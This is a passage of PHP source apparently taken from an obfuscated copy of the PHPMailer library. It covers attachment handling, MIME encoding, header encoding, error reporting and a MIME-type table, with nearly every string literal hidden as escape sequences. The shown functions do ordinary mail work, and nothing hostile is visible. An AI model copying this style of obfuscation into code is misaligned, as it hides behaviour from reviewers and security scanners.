phpmailerException($this->lang("\x73\151\x67\156\151\156\x67") . openssl_error_string()); } } catch (phpmailerException $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ($charSet == '') { $charSet = $this->CharSet; } if ($contentType == '') { $contentType = $this->ContentType; } if ($encoding == '') { $encoding = $this->Encoding; } $result .= $this->textLine("\x2d\55" . $boundary); $result .= sprintf("\103\x6f\x6e\x74\145\156\x74\55\124\171\x70\145\72\x20\45\163\73\x20\143\x68\x61\x72\163\x65\164\x3d\45\163", $contentType, $charSet); $result .= $this->LE; if ($encoding != "\67\x62\151\164") { $result .= $this->headerLine("\103\x6f\x6e\164\x65\x6e\x74\55\124\x72\141\156\163\146\145\162\x2d\105\x6e\x63\x6f\x64\x69\156\147", $encoding); } $result .= $this->LE; return $result; } protected function endBoundary($boundary) { return $this->LE . "\55\55" . $boundary . "\55\x2d" . $this->LE; } protected function setMessageType() { $type = array(); if ($this->alternativeExists()) { $type[] = "\x61\x6c\x74"; } if ($this->inlineImageExists()) { $type[] = "\151\156\154\151\x6e\145"; } if ($this->attachmentExists()) { $type[] = "\141\x74\x74\x61\143\x68"; } $this->message_type = implode("\x5f", $type); if ($this->message_type == '') { $this->message_type = "\x70\x6c\x61\151\x6e"; } } public function headerLine($name, $value) { return $name . "\x3a\40" . $value . $this->LE; } public function textLine($value) { return $value . $this->LE; } public function addAttachment($path, $name = '', $encoding = "\142\x61\x73\x65\x36\64", $type = '', $disposition = "\x61\x74\164\x61\143\x68\x6d\x65\156\164") { try { if (!self::isPermittedPath($path) or !@is_file($path)) { throw new phpmailerException($this->lang("\x66\151\x6c\x65\x5f\x61\143\143\x65\163\163") . $path, self::STOP_CONTINUE); } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => 0); } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($disposition_type, $boundary) { $mime = array(); $cidUniq = array(); $incl = array(); foreach ($this->attachment as $attachment) { if ($attachment[6] == $disposition_type) { $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = md5(serialize($attachment)); if (in_array($inclhash, $incl)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ($disposition == "\x69\x6e\154\x69\156\x65" && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf("\x2d\x2d\45\163\x25\x73", $boundary, $this->LE); if (!empty($name)) { $mime[] = sprintf("\103\157\156\164\x65\x6e\x74\55\124\x79\x70\x65\72\x20\x25\163\73\40\156\141\155\x65\75\42\x25\163\x22\45\163", $type, $this->encodeHeader($this->secureHeader($name)), $this->LE); } else { $mime[] = sprintf("\103\x6f\156\x74\145\156\164\55\124\171\160\145\x3a\x20\x25\x73\45\x73", $type, $this->LE); } if ($encoding != "\67\x62\x69\164") { $mime[] = sprintf("\103\157\156\x74\x65\156\164\x2d\x54\x72\141\x6e\x73\146\145\x72\55\105\x6e\x63\x6f\144\x69\156\x67\72\40\45\163\45\163", $encoding, $this->LE); } if ($disposition == "\151\156\154\151\x6e\x65") { $mime[] = sprintf("\103\157\x6e\164\x65\156\x74\55\111\104\72\x20\74\x25\x73\76\x25\x73", $cid, $this->LE); } if (!empty($disposition)) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (preg_match("\x2f\133\x20\134\50\x5c\x29\x3c\76\100\x2c\x3b\x3a\134\x22\134\57\134\133\x5c\135\x5c\x3f\x3d\135\57", $encoded_name)) { $mime[] = sprintf("\103\157\x6e\164\145\156\164\x2d\x44\x69\163\x70\157\163\x69\164\151\x6f\x6e\x3a\x20\45\163\x3b\x20\x66\151\154\145\x6e\x61\155\x65\x3d\x22\45\163\x22\45\x73", $disposition, $encoded_name, $this->LE . $this->LE); } else { if (!empty($encoded_name)) { $mime[] = sprintf("\103\x6f\156\x74\145\156\x74\x2d\104\x69\163\x70\x6f\163\151\164\x69\x6f\x6e\x3a\x20\x25\x73\x3b\x20\x66\x69\154\x65\x6e\x61\155\145\75\x25\x73\45\163", $disposition, $encoded_name, $this->LE . $this->LE); } else { $mime[] = sprintf("\103\157\x6e\164\145\x6e\x74\x2d\104\x69\x73\x70\157\163\x69\x74\x69\157\x6e\72\x20\x25\163\x25\163", $disposition, $this->LE . $this->LE); } } } else { $mime[] = $this->LE; } if ($bString) { $mime[] = $this->encodeString($string, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } else { $mime[] = $this->encodeFile($path, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } } } $mime[] = sprintf("\x2d\x2d\45\x73\x2d\55\x25\163", $boundary, $this->LE); return implode('', $mime); } protected function encodeFile($path, $encoding = "\142\141\163\x65\x36\x34") { try { if (!self::isPermittedPath($path) or !file_exists($path)) { throw new phpmailerException($this->lang("\146\151\x6c\145\137\x6f\160\145\156") . $path, self::STOP_CONTINUE); } $magic_quotes = false; if (version_compare(PHP_VERSION, "\x37\x2e\x34\x2e\x30", "\74")) { $magic_quotes = get_magic_quotes_runtime(); } if ($magic_quotes) { if (version_compare(PHP_VERSION, "\x35\56\63\56\x30", "\74")) { set_magic_quotes_runtime(false); } else { ini_set("\155\141\147\x69\143\137\x71\165\x6f\164\145\x73\137\x72\165\x6e\164\x69\155\145", false); } } $file_buffer = file_get_contents($path); $file_buffer = $this->encodeString($file_buffer, $encoding); if ($magic_quotes) { if (version_compare(PHP_VERSION, "\65\x2e\63\56\60", "\x3c")) { set_magic_quotes_runtime($magic_quotes); } else { ini_set("\x6d\141\x67\151\143\137\161\x75\157\x74\x65\163\137\x72\165\x6e\164\151\x6d\145", $magic_quotes); } } return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); return ''; } } public function encodeString($str, $encoding = "\142\x61\163\x65\x36\64") { $encoded = ''; switch (strtolower($encoding)) { case "\142\141\163\x65\66\x34": $encoded = chunk_split(base64_encode($str), 76, $this->LE); break; case "\x37\x62\151\164": case "\70\142\x69\x74": $encoded = $this->fixEOL($str); if (substr($encoded, -strlen($this->LE)) != $this->LE) { $encoded .= $this->LE; } break; case "\x62\151\156\x61\x72\x79": $encoded = $str; break; case "\161\165\x6f\164\x65\x64\x2d\160\162\x69\x6e\164\141\x62\x6c\x65": $encoded = $this->encodeQP($str); break; default: $this->setError($this->lang("\x65\x6e\x63\157\x64\x69\156\147") . $encoding); break; } return $encoded; } public function encodeHeader($str, $position = "\164\x65\x78\x74") { $matchcount = 0; switch (strtolower($position)) { case "\160\x68\162\x61\x73\145": if (!preg_match("\57\133\134\62\60\60\55\134\63\67\x37\135\57", $str)) { $encoded = addcslashes($str, "\0\x2e\x2e\37\x7f\x5c\42"); if ($str == $encoded && !preg_match("\x2f\x5b\136\101\x2d\132\x61\55\172\x30\x2d\71\x21\x23\44\45\x26\x27\x2a\x2b\134\x2f\x3d\77\136\x5f\140\173\x7c\175\x7e\40\x2d\x5d\x2f", $str)) { return $encoded; } else { return "\42{$encoded}\x22"; } } $matchcount = preg_match_all("\57\133\x5e\134\x30\x34\60\134\x30\x34\61\134\60\x34\x33\55\x5c\61\x33\63\134\61\x33\x35\x2d\x5c\x31\x37\x36\135\57", $str, $matches); break; case "\x63\157\x6d\x6d\145\156\164": $matchcount = preg_match_all("\57\133\x28\51\x22\135\57", $str, $matches); case "\x74\x65\x78\164": default: $matchcount += preg_match_all("\x2f\133\134\60\x30\60\55\134\x30\x31\x30\x5c\x30\x31\x33\x5c\x30\61\64\x5c\60\61\66\55\x5c\60\63\x37\x5c\x31\x37\x37\x2d\134\63\x37\x37\x5d\x2f", $str, $matches); break; } if ($matchcount == 0) { return $str; } $maxlen = 75 - 7 - strlen($this->CharSet); if ($matchcount > strlen($str) / 3) { $encoding = "\x42"; if (function_exists("\155\142\x5f\x73\x74\162\154\145\156") && $this->hasMultiBytes($str)) { $encoded = $this->base64EncodeWrapMB($str, "\12"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\xa")); } } else { $encoding = "\121"; $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace("\x3d" . self::CRLF, "\xa", trim($encoded)); } $encoded = preg_replace("\57\136\50\56\52\51\44\x2f\155", "\x20\75\x3f" . $this->CharSet . "\x3f{$encoding}\77\x5c\x31\x3f\x3d", $encoded); $encoded = trim(str_replace("\12", $this->LE, $encoded)); return $encoded; } public function hasMultiBytes($str) { if (function_exists("\155\142\x5f\x73\x74\162\x6c\145\156")) { return strlen($str) > mb_strlen($str, $this->CharSet); } else { return false; } } public function has8bitChars($text) { return (bool) preg_match("\x2f\x5b\x5c\170\70\60\x2d\x5c\170\106\106\135\57", $text); } public function base64EncodeWrapMB($str, $linebreak = null) { $start = "\75\x3f" . $this->CharSet . "\77\102\77"; $end = "\x3f\x3d"; $encoded = ''; if ($linebreak === null) { $linebreak = $this->LE; } $mb_length = mb_strlen($str, $this->CharSet); $length = 75 - strlen($start) - strlen($end); $ratio = $mb_length / strlen($str); $avgLength = floor($length * $ratio * 0.75); for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); $lookBack++; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } $encoded = substr($encoded, 0, -strlen($linebreak)); return $encoded; } public function encodeQP($string, $line_max = 76) { if (function_exists("\x71\165\157\164\x65\x64\137\x70\x72\151\156\164\x61\x62\x6c\x65\137\145\156\143\x6f\x64\145")) { return quoted_printable_encode($string); } $string = str_replace(array("\x25\x32\x30", "\45\x30\x44\x25\60\x41\x2e", "\45\x30\x44\x25\60\101", "\45"), array("\x20", "\xd\12\75\x32\105", "\15\xa", "\x3d"), rawurlencode($string)); return preg_replace("\57\133\136\x5c\162\x5c\156\135\173" . ($line_max - 3) . "\175\133\136\75\x5c\162\134\156\x5d\x7b\x32\175\57", "\x24\x30\75\xd\12", $string); } public function encodeQPphp($string, $line_max = 76, $space_conv = false) { return $this->encodeQP($string, $line_max); } public function encodeQ($str, $position = "\164\145\x78\x74") { $pattern = ''; $encoded = str_replace(array("\xd", "\12"), '', $str); switch (strtolower($position)) { case "\x70\150\x72\141\x73\145": $pattern = "\x5e\x41\x2d\x5a\x61\x2d\172\60\x2d\x39\x21\52\53\134\x2f\40\x2d"; break; case "\x63\157\155\x6d\145\x6e\x74": $pattern = "\134\50\x5c\x29\42"; case "\x74\145\x78\164": default: $pattern = "\x5c\x30\60\x30\55\x5c\60\x31\61\x5c\60\x31\63\134\x30\x31\64\x5c\60\61\x36\x2d\x5c\x30\x33\x37\x5c\x30\67\x35\134\x30\67\67\x5c\61\63\x37\134\61\x37\x37\x2d\x5c\x33\x37\67" . $pattern; break; } $matches = array(); if (preg_match_all("\57\133{$pattern}\x5d\x2f", $encoded, $matches)) { $eqkey = array_search("\x3d", $matches[0]); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], "\x3d"); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, "\75" . sprintf("\x25\x30\62\x58", ord($char)), $encoded); } } return str_replace("\x20", "\137", $encoded); } public function addStringAttachment($string, $filename, $encoding = "\142\141\x73\x65\x36\x34", $type = '', $disposition = "\x61\x74\x74\141\x63\150\x6d\x65\156\164") { if ($type == '') { $type = self::filenameToType($filename); } $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => 0); } public function addEmbeddedImage($path, $cid, $name = '', $encoding = "\142\x61\x73\145\x36\x34", $type = '', $disposition = "\151\x6e\x6c\x69\x6e\145") { if (!self::isPermittedPath($path) or !@is_file($path)) { $this->setError($this->lang("\x66\151\154\x65\137\x61\143\x63\145\163\x73") . $path); return false; } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $cid); return true; } public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = "\142\x61\163\x65\x36\64", $type = '', $disposition = "\151\156\x6c\151\156\x65") { if ($type == '' and !empty($name)) { $type = self::filenameToType($name); } $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => $cid); return true; } public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == "\x69\156\154\151\156\x65") { return true; } } return false; } public function attachmentExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == "\x61\164\164\141\143\150\x6d\145\156\x74") { return true; } } return false; } public function alternativeExists() { return !empty($this->AltBody); } public function clearQueuedAddresses($kind) { $RecipientsQueue = $this->RecipientsQueue; foreach ($RecipientsQueue as $address => $params) { if ($params[0] == $kind) { unset($this->RecipientsQueue[$address]); } } } public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = array(); $this->clearQueuedAddresses("\164\x6f"); } public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = array(); $this->clearQueuedAddresses("\143\143"); } public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = array(); $this->clearQueuedAddresses("\142\x63\143"); } public function clearReplyTos() { $this->ReplyTo = array(); $this->ReplyToQueue = array(); } public function clearAllRecipients() { $this->to = array(); $this->cc = array(); $this->bcc = array(); $this->all_recipients = array(); $this->RecipientsQueue = array(); } public function clearAttachments() { $this->attachment = array(); } public function clearCustomHeaders() { $this->CustomHeader = array(); } protected function setError($msg) { $this->error_count++; if ($this->Mailer == "\x73\x6d\x74\160" and !is_null($this->smtp)) { $lasterror = $this->smtp->getError(); if (!empty($lasterror["\145\x72\x72\x6f\162"])) { $msg .= $this->lang("\x73\x6d\164\x70\x5f\145\162\x72\x6f\162") . $lasterror["\x65\162\162\x6f\x72"]; if (!empty($lasterror["\x64\x65\x74\x61\x69\154"])) { $msg .= "\40\104\145\x74\x61\x69\154\72\x20" . $lasterror["\x64\x65\x74\x61\x69\154"]; } if (!empty($lasterror["\163\x6d\x74\160\x5f\143\157\144\x65"])) { $msg .= "\x20\123\x4d\124\120\40\x63\157\144\145\x3a\x20" . $lasterror["\x73\155\164\160\137\x63\x6f\144\x65"]; } if (!empty($lasterror["\163\x6d\164\x70\137\143\157\144\145\x5f\145\x78"])) { $msg .= "\40\x41\x64\144\x69\x74\151\157\156\x61\154\x20\x53\x4d\x54\x50\x20\x69\156\x66\157\x3a\40" . $lasterror["\163\x6d\x74\160\137\x63\157\144\145\137\145\x78"]; } } } $this->ErrorInfo = $msg; } public static function rfcDate() { date_default_timezone_set(@date_default_timezone_get()); return date("\104\54\x20\152\40\115\x20\131\x20\110\x3a\151\x3a\x73\40\117"); } protected function serverHostname() { $result = "\154\x6f\x63\x61\x6c\150\x6f\163\x74\x2e\x6c\x6f\143\x61\154\144\x6f\155\x61\151\x6e"; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) and array_key_exists("\123\x45\122\x56\105\122\x5f\116\101\115\105", $_SERVER) and !empty($_SERVER["\x53\105\x52\126\x45\122\137\x4e\101\x4d\x45"])) { $result = $_SERVER["\123\105\x52\126\105\122\137\116\101\x4d\105"]; } elseif (function_exists("\147\x65\x74\150\157\x73\x74\x6e\x61\155\145") && gethostname() !== false) { $result = gethostname(); } elseif (php_uname("\156") !== false) { $result = php_uname("\x6e"); } return $result; } protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage("\x65\x6e"); } if (array_key_exists($key, $this->language)) { if ($key == "\163\155\164\160\137\143\x6f\156\x6e\145\143\164\137\x66\141\x69\x6c\x65\144") { return $this->language[$key] . "\x20\x68\x74\164\160\x73\72\x2f\57\x67\x69\x74\150\165\x62\56\143\157\155\x2f\120\110\120\x4d\141\151\154\145\x72\x2f\x50\110\x50\x4d\x61\x69\x6c\145\162\57\167\151\153\x69\57\x54\162\157\x75\x62\154\x65\x73\x68\x6f\157\x74\151\156\x67"; } return $this->language[$key]; } else { return $key; } } public function isError() { return $this->error_count > 0; } public function fixEOL($str) { $nstr = str_replace(array("\xd\12", "\xd"), "\xa", $str); if ($this->LE !== "\12") { $nstr = str_replace("\12", $this->LE, $nstr); } return $nstr; } public function addCustomHeader($name, $value = null) { if ($value === null) { $this->CustomHeader[] = explode("\x3a", $name, 2); } else { $this->CustomHeader[] = array($name, $value); } } public function getCustomHeaders() { return $this->CustomHeader; } public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all("\57\x28\163\x72\143\x7c\142\141\x63\153\x67\162\157\165\x6e\144\x29\x3d\x5b\42\x27\135\50\x2e\x2a\x29\x5b\x22\47\135\x2f\125\x69", $message, $images); if (array_key_exists(2, $images)) { if (strlen($basedir) > 1 && substr($basedir, -1) != "\57") { $basedir .= "\x2f"; } foreach ($images[2] as $imgindex => $url) { if (preg_match("\x23\x5e\144\x61\164\141\72\x28\x69\x6d\141\147\x65\x5b\x5e\73\x2c\135\52\51\x28\x3b\142\141\x73\x65\66\64\51\x3f\x2c\43", $url, $match)) { $data = substr($url, strpos($url, "\x2c")); if ($match[2]) { $data = base64_decode($data); } else { $data = rawurldecode($data); } $cid = md5($url) . "\100\x70\x68\x70\155\x61\x69\x6c\145\x72\x2e\60"; if ($this->addStringEmbeddedImage($data, $cid, "\145\x6d\142\x65\x64" . $imgindex, "\142\x61\x73\145\66\x34", $match[1])) { $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . "\75\x22\143\151\x64\x3a" . $cid . "\x22", $message); } continue; } if (!empty($basedir) && strpos($url, "\x2e\56") === false && substr($url, 0, 4) !== "\x63\151\144\x3a" && !preg_match("\x23\136\x5b\141\x2d\x7a\135\133\141\55\172\60\55\x39\x2b\x2e\x2d\135\x2a\x3a\x3f\57\x2f\43\151", $url)) { $filename = basename($url); $directory = dirname($url); if ($directory == "\56") { $directory = ''; } $cid = md5($url) . "\x40\x70\150\160\x6d\x61\x69\x6c\145\x72\x2e\x30"; if (strlen($directory) > 1 && substr($directory, -1) != "\x2f") { $directory .= "\x2f"; } if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, "\x62\141\163\145\x36\64", self::_mime_types((string) self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) { $message = preg_replace("\57" . $images[1][$imgindex] . "\x3d\x5b\42\x27\135" . preg_quote($url, "\57") . "\133\x22\47\x5d\57\125\x69", $images[1][$imgindex] . "\x3d\x22\143\151\144\72" . $cid . "\x22", $message); } } } } $this->isHTML(true); $this->Body = $this->normalizeBreaks($message); $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); if (!$this->alternativeExists()) { $this->AltBody = "\x54\157\x20\x76\151\x65\167\40\x74\x68\151\x73\x20\145\x6d\x61\x69\x6c\x20\155\145\163\163\x61\147\145\x2c\x20\157\x70\x65\x6e\40\151\x74\x20\x69\156\x20\141\x20\160\x72\157\147\162\x61\155\x20\x74\x68\x61\x74\40\165\156\144\145\162\x73\x74\x61\x6e\144\x73\x20\110\x54\115\x4c\x21" . self::CRLF . self::CRLF; } return $this->Body; } public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode(trim(strip_tags(preg_replace("\x2f\x3c\50\150\145\x61\x64\174\x74\151\164\154\145\174\x73\x74\171\154\145\174\x73\143\162\151\160\x74\x29\x5b\136\76\x5d\x2a\76\56\x2a\x3f\x3c\x5c\x2f\x5c\61\x3e\x2f\163\151", '', $html))), ENT_QUOTES, $this->CharSet); } public static function _mime_types($ext = '') { $mimes = array("\170\154" => "\x61\x70\x70\x6c\x69\x63\141\164\151\x6f\x6e\x2f\145\170\x63\145\154", "\152\x73" => "\141\160\160\x6c\151\x63\x61\164\x69\157\156\57\152\141\x76\141\163\143\x72\151\160\164", "\x68\x71\x78" => "\x61\160\x70\154\151\x63\141\x74\151\157\156\x2f\155\x61\x63\55\142\x69\x6e\150\x65\170\64\x30", "\143\x70\x74" => "\141\x70\160\154\151\x63\x61\164\x69\x6f\156\x2f\155\141\143\x2d\143\157\x6d\160\141\143\x74\160\x72\x6f", "\142\x69\x6e" => "\141\160\160\154\x69\x63\141\x74\151\x6f\x6e\57\155\141\x63\142\151\156\x61\162\171", "\144\157\143" => "\x61\x70\x70\154\151\143\141\164\x69\157\156\x2f\x6d\163\x77\x6f\x72\x64", "\x77\157\162\144" => "\x61\160\x70\x6c\151\x63\x61\x74\151\x6f\x6e\57\x6d\x73\x77\157\162\144", "\170\x6c\x73\170" => "\x61\x70\160\x6c\x69\143\x61\164\x69\x6f\x6e\x2f\x76\156\x64\56\x6f\160\x65\x6e\x78\x6d\154\146\157\162\155\141\x74\163\x2d\x6f\x66\146\x69\143\x65\144\x6f\143\165\x6d\145\156\164\56\163\160\162\x65\x61\x64\x73\150\x65\145\x74\155\154\x2e\x73\x68\x65\x65\164", "\x78\x6c\164\170" => "\141\160\160\154\x69\x63\x61\164\x69\157\156\57\166\156\144\56\x6f\x70\x65\x6e\170\x6d\x6c\x66\157\x72\x6d\141\164\163\x2d\157\146\x66\151\143\x65\x64\x6f\x63\x75\x6d\x65\156\x74\x2e\163\x70\x72\145\x61\144\163\x68\145\x65\164\155\154\56\164\x65\155\x70\x6c\x61\164\x65", "\160\x6f\164\x78" => "\x61\x70\x70\x6c\x69\x63\x61\164\151\157\156\x2f\x76\156\x64\56\x6f\160\x65\156\170\155\x6c\x66\157\162\x6d\x61\164\x73\55\x6f\x66\x66\x69\x63\145\144\x6f\x63\165\155\145\x6e\x74\56\160\162\x65\x73\x65\x6e\164\141\x74\x69\157\156\x6d\154\x2e\164\x65\155\x70\x6c\x61\164\145", "\x70\160\163\170" => "\141\160\x70\x6c\x69\143\141\x74\x69\x6f\156\57\x76\x6e\x64\x2e\x6f\x70\145\156\170\155\154\x66\x6f\x72\x6d\x61\x74\163\x2d\x6f\146\x66\151\x63\x65\144\157\143\165\155\x65\156\x74\56\x70\162\145\x73\x65\156\164\141\x74\x69\x6f\x6e\x6d\154\56\x73\x6c\151\x64\145\x73\150\157\x77", "\x70\x70\164\170" => "\141\x70\x70\x6c\x69\143\141\164\x69\x6f\x6e\x2f\166\156\x64\x2e\157\x70\145\x6e\170\x6d\x6c\146\x6f\162\155\141\x74\163\55\x6f\x66\146\x69\x63\145\x64\x6f\143\165\x6d\x65\156\164\x2e\160\162\145\163\145\156\164\x61\164\151\x6f\x6e\x6d\154\56\x70\x72\145\163\145\156\164\141\x74\151\x6f\156", "\163\x6c\x64\170" => "\x61\x70\160\x6c\x69\x63\141\164\151\157\156\x2f\x76\x6e\144\56\x6f\x70\145\156\170\155\x6c\146\x6f\x72\x6d\x61\x74\163\55\x6f\146\146\x69\143\145\144\157\143\x75\x6d\x65\156\x74\x2e\160\x72\145\x73\x65\x6e\x74\x61\164\151\157\156\x6d\x6c\56\163\154\151\144\x65", "\144\157\x63\170" => "\141\160\160\x6c\x69\143\141\164\x69\157\156\x2f\166\156\x64\56\157\160\x65\156\x78\x6d\x6c\146\157\162\155\141\x74\x73\x2d\x6f\x66\x66\151\x63\x65\x64\157\x63\x75\x6d\x65\156\164\x2e\167\x6f\x72\x64\x70\x72\x6f\x63\x65\163\x73\151\156\147\155\154\x2e\144\157\x63\x75\x6d\x65\x6e\x74", "\x64\x6f\164\x78" => "\x61\x70\x70\x6c\x69\x63\141\x74\151\157\156\57\x76\x6e\144\56\157\160\x65\156\170\x6d\x6c\x66\x6f\x72\155\141\164\163\x2d\157\x66\x66\x69\x63\x65\144\x6f\x63\165\155\145\x6e\x74\x2e\x77\x6f\162\x64\160\x72\157\x63\145\163\x73\151\156\147\x6d\x6c\x2e\164\x65\x6d\160\154\x61\164\x65", "\170\154\x61\x6d" => "\141\x70\x70\154\x69\143\x61\x74\x69\157\x6e\57\166\x6e\x64\56\155\x73\55\145\x78\143\x65\154\x2e\x61\x64\144\151\156\56\155\141\143\162\157\x45\x6e\141\142\x6c\145\x64\x2e\61\62", "\x78\x6c\x73\142" => "\x61\x70\x70\154\151\143\x61\x74\151\x6f\x6e\x2f\166\156\144\x2e\155\x73\x2d\x65\x78\143\x65\154\56\x73\x68\145\145\x74\x2e\x62\x69\x6e\141\162\x79\56\x6d\x61\143\x72\x6f\x45\x6e\x61\x62\154\x65\144\x2e\x31\x32", "\x63\x6c\x61\x73\x73" => "\x61\x70\160\x6c\151\143\141\x74\x69\x6f\156\57\157\143\x74\x65\x74\x2d\x73\164\x72\145\x61\155", "\x64\154\154" => "\141\x70\x70\154\151\x63\141\x74\x69\x6f\x6e\57\157\143\x74\145\164\55\x73\164\162\145\x61\x6d", "\144\155\x73" => "\141\160\160\x6c\x69\x63\x61\x74\151\157\x6e\x2f\157\143\x74\145\x74\55\163\x74\x72\x65\141\x6d", "\145\x78\145" => "\141\x70\160\154\151\x63\x61\164\x69\x6f\x6e\57\157\x63\164\x65\x74\x2d\163\164\162\x65\x61\155", "\154\x68\x61" => "\x61\160\160\x6c\x69\x63\x61\164\x69\157\x6e\x2f\157\143\x74\145\164\55\163\164\x72\x65\141\155", "\x6c\172\x68" => "\x61\160\x70\x6c\151\x63\x61\164\151\157\156\57\157\x63\164\x65\164\x2d\163\x74\162\x65\141\x6d", "\x70\163\144" => "\x61\160\160\x6c\x69\143\x61\164\151\x6f\156\57\157\143\164\145\164\x2d\163\x74\162\x65\141\155", "\x73\x65\x61" => "\141\160\160\154\x69\143\141\164\x69\157\156\57\157\143\164\145\x74\55\x73\x74\162\145\x61\x6d", "\x73\157" => "\x61\160\160\x6c\x69\x63\x61\x74\151\x6f\156\x2f\157\x63\x74\145\x74\55\x73\164\x72\x65\x61\155", "\x6f\144\141" => "\x61\160\x70\x6c\151\x63\141\x74\x69\x6f\156\x2f\157\144\x61", "\x70\x64\146" => "\x61\x70\160\154\151\x63\141\x74\x69\157\x6e\x2f\160\x64\146", "\141\x69" => "\141\160\160\x6c\151\x63\141\x74\x69\157\x6e\x2f\x70\x6f\163\164\163\143\x72\x69\x70\x74", "\145\x70\x73" => "\x61\160\160\154\x69\x63\x61\x74\151\x6f\x6e\x2f\160\x6f\163\x74\x73\143\162\151\x70\164", "\x70\163" => "\x61\160\160\154\151\x63\x61\x74\151\x6f\x6e\57\x70\157\163\x74\x73\143\162\151\160\164", "\x73\155\x69" => "\x61\x70\160\154\x69\143\x61\164\151\157\156\x2f\163\x6d\x69\x6c", "\x73\x6d\x69\154" => "\141\x70\x70\154\x69\143\x61\x74\151\x6f\x6e\57\163\155\151\154", "\155\x69\146" => "\x61\160\x70\154\151\x63\141\x74\151\x6f\156\57\x76\x6e\x64\56\155\x69\146", "\170\x6c\163" => "\x61\x70\x70\x6c\151\x63\x61\x74\151\157\x6e\57\166\x6e\x64\56\155\x73\x2d\145\x78\x63\x65\154", "\x70\160\x74" => "\141\x70\160\x6c\151\143\x61\x74\151\157\156\57\x76\x6e\144\x2e\155\163\x2d\160\x6f\167\x65\x72\x70\x6f\x69\x6e\x74", "\x77\142\170\x6d\x6c" => "\x61\160\160\154\151\143\141\x74\x69\x6f\156\57\x76\156\144\x2e\167\x61\160\x2e\167\142\x78\x6d\x6c", "\x77\x6d\154\143" => "\x61\x70\160\154\x69\x63\141\x74\151\x6f\x6e\57\166\x6e\144\56\x77\x61\x70\56\x77\x6d\154\143", "\x64\143\x72" => "\141\x70\x70\x6c\151\x63\141\164\x69\x6f\156\x2f\170\55\144\x69\x72\x65\143\164\x6f\162", "\144\x69\162" => "\141\160\x70\x6c\x69\143\x61\164\x69\x6f\x6e\x2f\x78\x2d\x64\151\x72\x65\x63\164\x6f\162", "\x64\x78\162" => "\141\160\x70\x6c\151\143\x61\x74\x69\157\156\57\x78\55\144\151\x72\x65\x63\164\x6f\162", "\x64\x76\151" => "\x61\x70\x70\x6c\x69\143\x61\x74\151\x6f\x6e\57\170\55\144\166\151", "\x67\x74\x61\x72" => "\141\160\160\154\x69\x63\x61\164\151\157\156\57\170\x2d\147\x74\x61\162", "\x70\150\x70\x33" => "\141\160\x70\x6c\151\143\141\164\151\x6f\156\x2f\x78\x2d\150\164\164\160\144\55\160\x68\160", "\160\150\160\x34" => "\141\x70\160\154\x69\x63\x61\164\151\x6f\x6e\x2f\170\55\x68\x74\164\x70\144\55\x70\x68\160", "\160\150\x70" => "\141\x70\x70\154\151\143\141\164\151\157\x6e\57\x78\x2d\150\164\164\160\x64\55\x70\x68\160", "\160\150\x74\x6d\x6c" => "\141\160\160\x6c\x69\x63\x61\x74\151\157\x6e\x2f\x78\55\150\x74\164\160\144\x2d\x70\150\160", "\x70\x68\160\x73" => "\x61\x70\160\x6c\151\x63\141\164\x69\157\156\x2f\170\x2d\150\x74\x74\x70\x64\55\160\150\x70\55\x73\x6f\165\162\143\x65", "\163\167\x66" => "\x61\160\x70\x6c\x69\143\x61\x74\151\157\156\57\170\x2d\x73\x68\x6f\143\x6b\167\x61\166\145\x2d\146\154\x61\163\150", "\163\x69\164" => 